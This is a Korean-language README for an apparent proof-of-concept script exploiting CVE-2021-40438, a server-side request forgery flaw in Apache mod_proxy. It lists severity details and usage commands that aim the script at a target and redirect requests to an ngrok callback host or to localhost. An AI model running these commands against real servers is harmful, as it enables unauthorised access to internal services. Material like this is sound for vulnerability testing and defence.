
CVE-2021-40438 Apache <= 2.4.48 SSRF 익스플로잇
조작된 요청 URI 경로로 인해 mod_proxy가 원격 사용자가 선택한 오리진 서버로 요청을 전달할 수 있습니다. 이 문제는 Apache HTTP Server 2.4.48 및 이전 버전에 영향을 미칩니다.
기본 점수: 9.0 심각도: CRITICAL CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
공격 경로: 네트워크 공격 복잡도: 높음 필요 권한: 없음 사용자 상호작용: 없음 범위: 변경됨 기밀성: 높음 무결성: 높음 가용성: 높음
취약점 분류: 서버 측 요청 위조(SSRF)
이 스크립트는 requests 라이브러리를 사용하여 제공된 URL로 HTTP GET 요청을 수행합니다. 명령줄에서 -t 및 -ssrf 옵션을 지정하여 URL을 사용자 지정할 수 있습니다.
로컬 포트를 열지 않고 ngrok을 로컬 웹훅으로 사용하거나 인터넷의 공개 웹훅을 사용할 수 있습니다.
python3 CVE-2021-40438.py -t https://target.com -ssrf https://cf92-88-26-100-207.ngrok-free.app/ssrf
python3 CVE-2021-40438.py -t https://target.com -ssrf http://127.0.0.1
스크립트를 실행하기 전에 requests 라이브러리가 설치되어 있는지 확인하세요. 다음 명령으로 설치할 수 있습니다:
pip install requests